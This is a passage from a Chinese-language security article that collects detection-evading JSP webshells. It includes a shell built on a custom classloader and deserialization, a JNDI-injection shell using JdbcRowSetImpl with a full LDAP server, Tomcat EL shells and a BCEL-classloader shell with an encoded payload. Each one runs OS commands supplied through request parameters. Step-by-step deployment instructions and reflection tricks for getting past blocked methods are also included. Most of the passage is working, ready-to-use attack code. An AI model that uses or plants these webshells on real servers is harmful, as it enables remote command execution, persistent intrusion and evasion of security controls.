XNlNjQBAApnZXRFbmNvZGVyAQAHRW5jb2RlcgEADElubmVyQ2xhc3NlcwEAHCgpTGphdmEvdXRpbC9CYXNlNjQkRW5jb2RlcjsBAAt0b0J5dGVBcnJheQEABCgpW0IBABhqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXIBAA5lbmNvZGVUb1N0cmluZwEAFihbQilMamF2YS9sYW5nL1N0cmluZzsAIQAgACYAAQAnAAEAGgAoACkAAQAqAAAAAgArAAMAAQAtAC4AAQAvAAAALwABAAEAAAAFKrcAAbEAAAACADAAAAAGAAEAAAAWADEAAAAMAAEAAAAFADIAMwAAAAIANAA1AAIALwAAAXUABQAIAAAAjrsAAlm3AANNEgS4AAVOsgAGLbYAB7sACFm7AAJZtwADLbYACbIACrYACRILtgAJtgAMA70ACLgADbgADrcADzoEuAAQGQS2ABG2ABI6BbsAE1m7ABRZGQW3ABW3ABY6BhkGtgAXWToHxgASLBkHtgAJEhi2AAlXp//ppwAITi22ABq7ABlZLLYADLcAG78AAQAIAHoAfQAZAAMAMAAAADIADAAAABoACAAcAA4AHQAVAB4AQQAfAE4AIABgACIAawAjAHoAJwB9ACUAfgAmAIIAKAAxAAAAXAAJAA4AbAA2ADcAAwBBADkAOAA3AAQATgAsADkAOgAFAGAAGgA7ADwABgBoABIAPQA3AAcAfgAEAD4APwADAAAAjgAyADMAAAAAAI4AQABBAAEACACGAEIAQwACAEQAAAAzAAT/AGAABwcARQcARgcARwcASAcASAcASQcASgAA/wAZAAMHAEUHAEYHAEcAAEIHAEsEAEwAAAAEAAEAGQAJAE0ATgACAC8AAABrAAMAAgAAACu7ABxZtwAdTLsAHlkrtwAfuwAgWbcAIbYAIrIABrgAIyu2ACS2ACW2AAexAAAAAgAwAAAAEgAEAAAALAAIAC0AGgAuACoAMgAxAAAAFgACAAAAKwBPAFAAAAAIACMAUQBSAAEATAAAAAYAAgBTAFQAAgBVAAAAAgBWAK8AAAAKAAEAgAB9AK4ACQ=="));
            return Class.forName(name, false, new URLClassLoader(new URL[]{new URL("file:" + tmp + File.separator)}));
        }
    }
    try {
        new Custom(new ByteArrayInputStream(Base64.getDecoder().decode("rO0ABXNyAARYWFhYAAAAAAAAAAECAAB4cA=="))).readObject();
    } catch (Exception e) {
        response.getOutputStream().write(e.getCause().getMessage().getBytes());
    }
%>
</body>
</html>

而Threedr3am_12.class文件的源码:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.BufferedReader;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

/**
 * @author threedr3am
 */
public class Threedr3am_12 implements Serializable {
  private static final long serialVersionUID = 1L;

  private void  readObject(ObjectInputStream is) throws Throwable {
    StringBuilder stringBuilder = new StringBuilder();
    try {
      String tmp = System.getProperty("java.io.tmpdir");
      String cmd = new String(Files.readAllBytes(Paths.get(tmp + File.separator + "CMD")));
      InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
      BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
      String line;
      while((line = bufferedReader.readLine()) != null) {
        stringBuilder.append(line).append("\n");
      }
    } catch (Throwable e) {
      e.printStackTrace();
    }
    throw new Throwable(stringBuilder.toString());
  }

  public static void main(String[] args) throws IOException {
    ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
    new ObjectOutputStream(byteArrayOutputStream).writeObject(new Threedr3am_12());
    System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));
  }

}

只要把这个class文件base64一下,放到jsp马就ok了,理论上这个马挺不错的,如果不禁用Class.forName、URLClassLoader、readObject,那因为可以随意引入jar或者class,那么也就是说可以无限拓展了,比如我可以引入common-collections,也能自己写个jar等等。

十三、使用JdbcRowSetImpl进行jndi注入的JSP Webshell

<%@ page import="com.sun.rowset.JdbcRowSetImpl" %>
<%
    System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
    JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
    jdbcRowSet.setDataSourceName(request.getParameter("threedr3am"));//ldap://localhost:43658/Calc
    try {
        jdbcRowSet.setAutoCommit(true);
    } catch (Throwable e) {
        response.getOutputStream().write(e.getCause().getMessage().getBytes());
    }
%>

很多人说jndi有版本限制,其实只要把com.sun.jndi.ldap.object.trustURLCodebase设置为true就没有任何限制。

jndi的利用手法不用我说了吧?算了,还是贴点代码吧。

Calc.java:

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

/**
 * @author LaoHai
 */
public class Calc {
  static {
    StringBuilder stringBuilder = new StringBuilder();
    try {
      String cmd = "whoami";
      InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
      BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
      String line;
      while((line = bufferedReader.readLine()) != null) {
        stringBuilder.append(line).append("\n");
      }
    } catch (Throwable e) {
      e.printStackTrace();
    }
    Integer.parseInt(stringBuilder.toString());
  }

  public static void main(String[] args) {

  }
}

LdapServer.java:

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

/**
 * LDAP server
 *
 * @author threedr3am
 */
public class LdapServer {

  private static final String LDAP_BASE = "dc=example,dc=com";
  public static byte[] classData;

  public static void main(String[] args) {
    run(args);
  }

  public static void run(String[] args) {
    int port = args.length > 0 ? Integer.parseInt(args[0]) : 43658;
    //TODO 把resources下的Calc.class 或者 自定义修改编译后target目录下的Calc.class 拷贝到下面代码所示http://host:port的web服务器根目录即可
    String url = args.length > 0 ? args[1] : "http://localhost/#Calc";
    try {
      InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
      config.setListenerConfigs(new InMemoryListenerConfig(
          "listen", //$NON-NLS-1$
          InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
          port,
          ServerSocketFactory.getDefault(),
          SocketFactory.getDefault(),
          (SSLSocketFactory) SSLSocketFactory.getDefault()));

      config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
      InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
      System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
      ds.startListening();

    } catch (Exception e) {
      e.printStackTrace();
    }
  }

}

OperationInterceptor.java:

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

public class OperationInterceptor extends InMemoryOperationInterceptor {

    private URL codebase;


    /**
     *
     */
    public OperationInterceptor(URL cb) {
      this.codebase = cb;
    }


    /**
     * {@inheritDoc}
     *
     * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
     */
    @Override
    public void processSearchResult(InMemoryInterceptedSearchResult result) {
      String base = result.getRequest().getBaseDN();
      Entry e = new Entry(base);
      try {
        sendResult(result, base, e);
      } catch (Exception e1) {
        e1.printStackTrace();
      }

    }


    protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e)
        throws LDAPException, MalformedURLException {
      URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(""));
      System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
      e.addAttribute("javaClassName", "Calc");
      String cbstring = this.codebase.toString();
      int refPos = cbstring.indexOf('#');
      if (refPos > 0) {
        cbstring = cbstring.substring(0, refPos);
      }
        //todo <= jdk8u191
        e.addAttribute("javaCodeBase", cbstring);
        e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
        e.addAttribute("javaFactory", this.codebase.getRef());
      result.sendSearchEntry(e);
      result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
    }

  }

因为引入了ldap sdk,所以,需要去maven仓库下载个unboundid-ldapsdk-3.1.1.jar

具体的使用:

  1. 修改Calc.java中的cmd局部变量为需要执行的shell命令,然后执行javac Calc.java编译得到Calc.class
  2. 把上一步得到的Calc.class放到webshell运行环境可访问的http服务器中
  3. 把LdapServer.java、OperationInterceptor.java、unboundid-ldapsdk-3.1.1.jar放到同一目录下,执行编译javac -cp unboundid-ldapsdk-3.1.1.jar:. LdapServer.java
  4. 执行jar cvf LdapServer.jar LdapServer.class OperationInterceptor.class打包成LdapServer.jar
  5. 把LdapServer.jar、unboundid-ldapsdk-3.1.1.jar放到同一目录下,java -cp LdapServer.jar:unboundid-ldapsdk-3.1.1.jar LdapServer 12345 "http://127.0.0.1:80/#Calc",其中12345为ldap server的端口,"http://127.0.0.1:80/#Calc"中的127.0.0.1:80为上一步中可访问的http服务器,因为Calc.class存放于http服务器根目录,所以为Calc(Calc存放在http服务器的文件有后缀.class,但是参数不需要.class)
  6. 把jsp放到tomcat的webapps/ROOT/中,访问http://127.0.0.1:8080/iii.jsp?threedr3am=ldap://127.0.0.1:12345,threedr3am参数即为刚刚上一步启动的ldap server的url

十四、利用tomcat el的JSP Webshell

<%@ page import="javax.el.ELProcessor" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%
    StringBuilder stringBuilder = new StringBuilder();
    String cmd = request.getParameter("cvedr3am");
    for (String tmp:cmd.split(" ")) {
        stringBuilder.append("'").append(tmp).append("'").append(",");
    }
    String f = stringBuilder.substring(0, stringBuilder.length() - 1);
    ELProcessor processor = new ELProcessor();
    Process process = (Process) processor.eval("\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](["+ f +"]).start()\")");
    InputStream inputStream = process.getInputStream();
    StringBuilder stringBuilder2 = new StringBuilder();
    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
    String line;
    while((line = bufferedReader.readLine()) != null) {
        stringBuilder2.append(line).append("\n");
    }
    if (stringBuilder2.length() > 0) {
        response.getOutputStream().write(stringBuilder2.toString().getBytes());
    }
%>

这个马需要利用tomcat的环境,不是非常通用,但是胜在简单,而且,若ELProcessor被禁了之后,或者eval方法被禁之后,通过研究其源码,发现还能这样用,又是一个bypass:

<%@ page import="java.io.InputStream" %>
<%@ page import="javax.el.ELContext" %>
<%@ page import="javax.el.ELManager" %>
<%@ page import="javax.el.ExpressionFactory" %>
<%@ page import="javax.el.ValueExpression" %>
<%@ page import="sun.misc.IOUtils" %>
<%
    String cmd = request.getParameter("threedr3am");
    StringBuilder stringBuilder = new StringBuilder();
    for (String tmp:cmd.split(" ")) {
        stringBuilder.append("'").append(tmp).append("'").append(",");
    }
    String f = stringBuilder.substring(0, stringBuilder.length() - 1);
    String expression = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](["+ f +"]).start()\")";
    ELManager manager = new ELManager();
    ELContext context = manager.getELContext();
    ExpressionFactory factory = ELManager.getExpressionFactory();
    ValueExpression ve = factory.createValueExpression(context, "${" + expression + "}", Object.class);
    InputStream inputStream = ((Process)ve.getValue(context)).getInputStream();
    response.getOutputStream().write(IOUtils.readFully(inputStream, -1, false));
%>

十五、对BCEL类加载器进行一定包装-可能在某些禁了loadClass方法的地方bypass的JSP Webshell

<%@ page import="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data" %>
<%@ page import="java.io.ByteArrayInputStream" %>
<%@ page import="java.lang.reflect.Array" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.Provider.Service" %>
<%@ page import="com.sun.org.apache.bcel.internal.util.ClassLoader" %>
<%@ page import="java.util.Iterator" %>
<%@ page import="java.util.List" %>
<%@ page import="javax.activation.DataHandler" %>
<%@ page import="javax.activation.DataSource" %>
<%@ page import="javax.crypto.Cipher" %>
<%@ page import="javax.crypto.CipherInputStream" %>
<%@ page import="javax.crypto.CipherSpi" %>
<%@ page import="jdk.nashorn.internal.objects.Global" %>
<%@ page import="jdk.nashorn.internal.objects.NativeString" %>
<%@ page import="jdk.nashorn.internal.runtime.Context" %>
<%@ page import="jdk.nashorn.internal.runtime.options.Options" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.nio.file.Files" %>
<%@ page import="java.io.File" %>
<%@ page import="java.nio.file.Paths" %>
<html>
<body>
<h2>BCEL类加载器进行一定包装-可能在某些禁了loadClass方法的地方bypass的JSP Webshell</h2>
<%
    String tmp = System.getProperty("java.io.tmpdir");
    Files.write(Paths.get(tmp + File.separator + "CMD"), request.getParameter("threedr3am").getBytes());

    Class serviceNameClass = Class
            .forName("com.sun.xml.internal.ws.util.ServiceFinder$ServiceName");
    Constructor serviceNameConstructor = serviceNameClass.getConstructor(String.class, URL.class);
    serviceNameConstructor.setAccessible(true);
    Object serviceName = serviceNameConstructor.newInstance(new String(new byte[] {36,36,66,67,69,76,36,36,36,108,36,56,98,36,73,36,65,36,65,36,65,36,65,36,65,36,65,36,65,36,56,100,85,36,53,98,87,36,84,87,36,85,36,102,101,36,79,36,98,57,36,99,99,48,36,56,99,36,53,99,36,56,50,36,100,99,36,98,52,36,98,54,36,102,54,36,56,50,36,69,36,85,82,36,98,53,90,36,98,57,84,107,36,97,48,36,119,53,36,109,36,114,36,73,77,105,107,36,116,36,99,57,36,110,36,77,36,115,36,57,57,116,50,36,82,121,106,36,102,102,36,56,100,36,99,102,36,102,54,36,110,97,36,57,53,36,100,53,36,51,101,36,102,54,36,99,49,36,55,102,36,100,50,36,51,102,81,36,102,97,36,57,100,73,36,67,107,36,113,36,97,101,54,36,120,36,100,57,36,57,51,36,98,100,36,99,102,36,98,101,36,55,99,36,102,98,36,51,98,103,36,99,102,121,36,102,51,36,99,102,36,101,102,36,55,102,36,67,36,102,56,36,77,36,72,36,71,36,36,36,101,50,36,56,101,36,56,54,89,36,68,36,53,100,36,98,56,36,97,51,99,36,99,101,36,99,48,36,51,99,36,87,52,36,55,99,36,97,49,36,102,52,36,98,98,36,100,100,36,98,56,36,56,55,36,95,117,36,100,99,87,74,36,100,50,36,99,48,36,111,36,57,54,36,77,36,55,99,36,56,53,36,72,36,71,36,97,50,120,104,36,101,48,36,82,36,57,54,36,57,53,36,102,56,36,100,97,36,99,48,99,36,97,52,52,36,97,99,104,88,53,36,81,36,99,51,36,84,36,68,36,68,88,83,36,101,50,36,104,36,106,36,101,98,36,103,36,100,50,36,71,70,36,98,48,97,36,101,48,36,118,54,53,108,105,36,102,56,86,36,109,36,98,97,36,54,48,36,57,55,109,36,101,102,36,97,101,36,52,48,36,117,36,51,101,36,98,57,36,118,36,81,36,53,101,116,36,102,50,82,36,97,48,36,95,101,36,57,55,36,101,53,106,36,97,100,36,57,52,36,57,53,36,101,101,36,56,54,36,57,53,36,122,36,100,50,36,83,75,57,57,36,97,98,36,98,56,105,36,98,57,36,98,54,36,100,50,36,53,98,36,99,54,36,98,48,36,98,55,107,87,36,57,53,36,102,55,36,99,54,36,97,101,36,120,101,36,100,101,36,98,100,105,36,57,53,36,57,101,36,53,100,36,98,102,53,36,95,36,97,48,36,95,36,101,52,36,56,97,36,101,100,36,98,99,36,53,101,36,97,57,36,97,50,36,99,50,36,102,55,36,97,99,36,88,86,36,97,50,104,36,57,53,36,76,36,56,57,36,98,52,36,101,55,36,100,97,36,101,53,36,67,36,98,100,66,36,98,57,82,36,53,101,36,97,48,36,99,55,36,36,87,106,36,107,36,56,100,36,100,50,36,119,36,74,36,77,53,36,106,109,36,116,36,98,49,36,55,99,106,36,97,54,111,111,36,98,54,36,98,54,36,98,51,36,112,36,53,100,36,57,57,95,36,57,55,86,36,53,101,36,98,97,36,67,36,97,51,36,116,36,56,101,36,99,57,36,99,48,36,75,36,55,100,36,99,51,36,97,99,77,116,66,36,57,101,36,97,52,36,102,51,36,101,98,36,83,36,97,52,36,98,51,36,97,102,36,56,48,36,100,51,36,101,53,36,53,99,36,100,53,36,72,36,57,49,36,97,99,36,100,57,69,36,51,102,36,100,98,36,100,56,36,90,36,55,99,36,97,100,36,114,36,101,53,36,57,98,36,102,54,36,97,99,36,100,99,36,102,51,36,86,36,97,98,36,101,50,119,36,99,100,36,78,36,101,50,36,57,101,104,36,99,56,36,102,56,52,36,97,55,36,70,36,56,99,36,98,52,83,115,115,36,102,50,36,56,49,36,101,100,36,100,51,36,85,36,54,48,98,70,36,114,53,36,102,49,36,107,36,36,36,74,36,56,99,36,98,99,36,97,51,36,65,36,53,98,83,36,120,51,36,98,54,51,67,36,97,54,36,102,50,36,98,54,36,97,98,36,101,49,36,51,98,36,84,36,100,98,36,102,56,36,53,101,36,97,48,36,102,102,36,101,100,36,81,36,84,36,51,102,36,101,48,71,36,78,36,99,102,76,36,102,99,36,56,52,113,36,102,50,36,98,55,36,98,56,36,98,50,100,36,99,50,66,86,67,36,99,101,68,36,107,36,99,52,36,98,54,99,36,97,50,36,56,48,36,53,100,85,36,100,50,36,100,54,36,98,48,103,36,101,50,57,36,56,97,36,115,74,36,117,107,112,76,84,36,102,48,36,98,51,36,99,48,112,103,36,100,97,72,65,36,72,36,101,50,36,57,98,107,36,119,36,57,100,36,95,36,97,97,36,115,36,51,99,100,36,99,57,36,97,99,36,110,48,36,100,56,36,56,49,88,36,84,53,36,53,99,36,100,50,36,102,48,36,99,50,36,99,52,36,51,101,36,53,101,36,57,50,36,98,56,36,65,36,90,36,56,49,36,55,101,36,57,101,100,36,102,55,100,36,99,101,107,103,36,74,36,87,36,78,54,36,55,101,80,36,102,53,36,113,77,36,51,100,36,70,36,101,57,36,97,100,36,98,57,78,69,36,98,97,36,100,101,36,56,49,36,99,48,36,57,53,36,102,56,36,100,57,36,102,51,52,36,100,57,36,101,57,36,56,56,69,36,97,100,74,69,36,57,54,121,36,99,97,36,97,54,36,102,102,87,36,99,52,36,101,57,36,97,54,36,57,98,109,36,54,48,36,99,100,36,55,100,36,101,100,36,97,101,36,99,97,36,56,97,36,101,53,90,36,57,101,67,36,97,50,116,36,99,102,105,122,36,76,36,57,99,36,56,102,119,36,97,99,36,100,97,36,101,99,36,97,97,36,99,99,36,101,56,36,106,70,36,116,36,100,54,36,121,111,36,57,55,99,36,83,98,36,76,36,67,36,102,51,36,106,36,56,48,108,36,98,102,36,84,36,53,98,36,109,36,99,55,36,100,57,36,99,99,36,75,36,105,51,36,57,98,36,97,52,36,122,36,55,102,36,98,102,88,76,36,107,120,74,36,106,36,56,100,119,36,75,36,57,101,36,100,99,78,36,75,68,36,101,50,36,100,98,73,53,36,101,55,36,68,36,97,55,36,70,36,100,55,107,101,36,99,102,36,36,36,98,49,71,36,56,51,36,102,56,78,36,57,52,36,97,49,36,52,48,103,36,122,36,98,51,36,57,97,36,122,36,102,57,82,36,101,54,36,69,36,115,36,102,101,36,56,51,78,110,85,78,86,36,97,98,36,102,51,36,56,49,74,36,122,36,112,79,36,51,99,36,120,36,70,54,36,55,99,36,97,52,36,53,100,36,101,100,36,99,99,36,100,99,36,98,55,36,55,98,121,107,65,36,102,53,48,120,36,98,97,36,100,52,36,103,36,55,100,101,36,100,53,36,86,36,88,36,118,36,102,102,36,70,36,100,48,87,36,110,36,36,36,99,102,36,57,102,36,100,101,36,78,36,100,55,36,99,97,36,99,57,36,65,36,57,56,36,101,53,36,98,50,36,116,36,76,36,101,97,36,100,99,36,101,98,36,100,99,36,100,56,36,97,97,36,97,52,36,97,97,36,57,97,36,101,101,36,100,48,36,100,53,50,36,51,101,36,99,52,36,70,36,98,101,36,57,97,36,100,53,36,97,55,36,76,66,77,51,36,101,53,36,102,98,36,100,52,36,83,36,55,99,36,75,36,51,101,36,112,83,36,78,36,56,56,36,100,55,36,102,101,36,102,50,36,72,36,57,52,81,36,100,102,36,100,56,36,56,51,36,99,98,36,57,52,102,36,100,51,36,56,49,36,118,36,51,101,36,101,50,83,36,99,55,36,99,55,36,101,100,36,54,48,36,102,49,36,57,48,36,100,54,36,117,109,36,98,102,36,107,36,97,49,36,120,36,100,51,36,52,48,36,101,56,113,36,121,36,55,99,36,56,56,72,36,101,97,36,73,36,100,49,76,36,99,98,114,36,98,53,36,79,36,101,100,55,36,101,56,36,57,52,36,98,49,110,36,56,97,36,51,97,36,56,99,36,100,48,36,108,36,56,56,36,107,36,97,50,36,101,55,36,81,102,36,68,36,101,55,86,36,79,36,100,49,36,55,98,36,97,100,36,56,101,36,98,101,36,51,97,36,102,97,87,36,56,102,48,36,99,48,36,97,56,88,102,36,98,97,36,56,49,36,99,49,36,71,36,99,101,36,99,102,36,56,53,36,99,55,36,99,50,117,36,77,101,36,101,54,36,111,36,55,102,36,110,54,53,36,87,81,36,118,36,56,54,36,118,36,98,54,36,53,101,36,106,36,102,102,36,102,100,36,75,122,36,56,97,36,57,57,71,36,97,55,36,57,56,36,101,102,36,81,99,36,53,98,36,97,102,36,56,57,71,36,56,55,36,68,36,57,55,87,67,36,99,56,36,99,55,36,55,102,36,56,51,36,97,56,36,56,49,36,53,101,90,36,102,98,36,118,36,72,48,36,99,98,36,57,98,100,36,74,36,56,51,36,98,99,53,36,56,54,36,102,56,36,100,101,36,90,36,97,54,36,101,102,36,70,122,36,56,102,36,97,50,36,56,97,49,36,99,101,36,102,57,69,36,102,99,66,74,84,36,97,102,36,56,102,36,97,48,36,100,49,36,100,102,36,99,50,36,116,36,89,103,36,99,101,89,36,100,99,36,99,54,36,86,36,102,101,36,101,98,98,36,101,99,85,76,36,109,36,99,101,36,101,99,79,36,90,57,36,56,57,36,118,36,56,52,36,102,57,36,107,36,56,98,36,100,49,36,51,97,78,36,79,36,97,97,36,100,52,36,97,101,97,36,100,97,71,36,98,49,36,56,102,36,90,36,57,50,36,75,36,55,99,36,99,97,36,100,102,36,69,36,99,50,36,99,55,36,77,36,56,56,104,36,98,56,36,97,101,36,101,49,36,56,54,36,102,102,36,98,100,36,97,57,36,102,49,36,57,97,36,99,52,49,36,99,98,36,75,90,36,56,49,36,97,52,36,56,54,36,53,98,97,36,71,36,100,101,36,102,54,36,97,57,36,102,102,36,102,99,95,36,98,53,36,51,100,36,102,101,36,116,74,36,72,36,65,36,65}), null);
    Object serviceNameArray = Array.newInstance(serviceNameClass, 1);
    Array.set(serviceNameArray, 0, serviceName);

    Class lazyIteratorClass = Class
            .forName("com.sun.xml.internal.ws.util.ServiceFinder$LazyIterator");
    Constructor lazyIteratorConstructor = lazyIteratorClass.getDeclaredConstructors()[1];
    lazyIteratorConstructor.setAccessible(true);
    Object lazyIterator = lazyIteratorConstructor.newInstance(String.class, new ClassLoader());
    Field namesField = lazyIteratorClass.getDeclaredField("names");
    namesField.setAccessible(true);
    namesField.set(lazyIterator, serviceNameArray);

    Constructor cipherConstructor = Cipher.class
            .getDeclaredConstructor(CipherSpi.class, Service.class, Iterator.class, String.class,
                    List.class);
    cipherConstructor.setAccessible(true);
    Cipher cipher = (Cipher) cipherConstructor.newInstance(null, null, lazyIterator, null, null);
    Field opmodeField = Cipher.class.getDeclaredField("opmode");
    opmodeField.setAccessible(true);
    opmodeField.set(cipher, 1);
    Field initializedField = Cipher.class.getDeclaredField("initialized");
    initializedField.setAccessible(true);
    initializedField.set(cipher, true);
    CipherInputStream cipherInputStream = new CipherInputStream(
            new ByteArrayInputStream(new byte[0]), cipher);

    Class xmlDataSourceClass = Class
            .forName("com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource");
    Constructor xmlDataSourceConstructor = xmlDataSourceClass.getDeclaredConstructors()[0];
    xmlDataSourceConstructor.setAccessible(true);
    DataSource xmlDataSource = (DataSource) xmlDataSourceConstructor
            .newInstance("", cipherInputStream);
    DataHandler dataHandler = new DataHandler(xmlDataSource);
    Base64Data base64Data = new Base64Data();
    Field dataHandlerField = Base64Data.class.getDeclaredField("dataHandler");
    dataHandlerField.setAccessible(true);
    dataHandlerField.set(base64Data, dataHandler);
    Constructor NativeStringConstructor = NativeString.class
            .getDeclaredConstructor(CharSequence.class, Global.class);
    NativeStringConstructor.setAccessible(true);
    NativeString nativeString = (NativeString) NativeStringConstructor
            .newInstance(base64Data, new Global(new Context(new Options(""), null, null)));

    try {
        new HashMap<>().put(nativeString, "111");
    } catch (Throwable e) {
        response.getOutputStream().write(e.getCause().getMessage().getBytes());
    }
%>
</body>
</html>

其实这个就是最早出现在某个序列化组件被发现的gadget

Threedr3am_15:

import java.io.BufferedReader;
import java.io.File;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.nio.file.Files;
import java.nio.file.Paths;

/**
 * @author threedr3am
 */
public class Threedr3am_15 {

    static {
        StringBuilder stringBuilder = new StringBuilder();
        try {
            String tmp = System.getProperty("java.io.tmpdir");
            String cmd = new String(Files.readAllBytes(Paths.get(tmp + File.separator + "CMD")));
            InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
            BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
            String line;
            while((line = bufferedReader.readLine()) != null) {
                stringBuilder.append(line).append("\n");
            }
        } catch (Throwable e) {
            e.printStackTrace();
        }
        Integer.parseInt(stringBuilder.toString());
    }
}

Threedr3am_make:

import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.io.BufferedReader;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.nio.file.Files;
import java.nio.file.Paths;

/**
 * @author threedr3am
 */
public class Threedr3am_make {

    public static void main(String[] args) throws IOException {
        InputStream inputStream = Threedr3am_make.class.getClassLoader().getResourceAsStream("Threedr3am_15.class");
        byte[] bytes = new byte[inputStream.available()];
        inputStream.read(bytes);
        String code = "$$BCEL$$" + Utility.encode(bytes, true);
        bytes = code.getBytes();
        for (int i = 0; i < bytes.length; i++) {
            System.out.print(bytes[i]);
            if (i != bytes.length - 1)
                System.out.print(",");
        }
    }
}

other

最后,送上一些从jdk lib的jar中fuzz出来的一些可能有用的东西把

一、invoke、newInstance反射调用的各种方式

1. invoke
1.1 Method.invoke
Method method = Threedr3am.class.getMethod("a");
method.invoke(null);
1.2 MethodAccessor.invoke
Method method = Threedr3am.class.getMethod("a");
ReflectionFactory reflectionFactory = AccessController.doPrivileged(new sun.reflect.ReflectionFactory.GetReflectionFactoryAction());
MethodAccessor methodAccessor = reflectionFactory.newMethodAccessor(method);
methodAccessor.invoke(null, null);
1.3 JSClassLoader.invoke
Method method = Main.class.getDeclaredMethod("a");
JSClassLoader.invoke(method, null, null);
2. newInstance
2.1 JSClassLoader.newInstance
Constructor constructor = Main.class.getConstructor();
JSClassLoader.newInstance(constructor, null);

二、获取class、method、field、constructor的各种方式

1. class
1.1 ReflectUtil

sun.reflect.misc.ReflectUtil

ReflectUtil.forName("java.lang.String")
1.2 BytecodeDescriptor
sun.invoke.util.BytecodeDescriptor.parseMethod("(Ljava/lang/String;)V", null).get(0);
1.3 Class.forName
Class.forName("java.lang.String");
1.4 ClassLoader.loadClass
Thread.currentThread().getContextClassLoader().loadClass("java.lang.String");
2. method
2.1 MethodUtil

sun.reflect.misc.MethodUtil

MethodUtil.getMethod(String.class, "valueOf", new Class[]{int.class});
3. field
3.1 FieldUtil

sun.reflect.misc.FieldUtil

FieldUtil.getField(String.class, "a");
4. Constructor
4.1 ConstructorUtil

sun.reflect.misc.ConstructorUtil

sun.reflect.misc.ConstructorUtil#getConstructor

文章来源: http://xz.aliyun.com/t/7798
如有侵权请联系:admin#unsafe.sh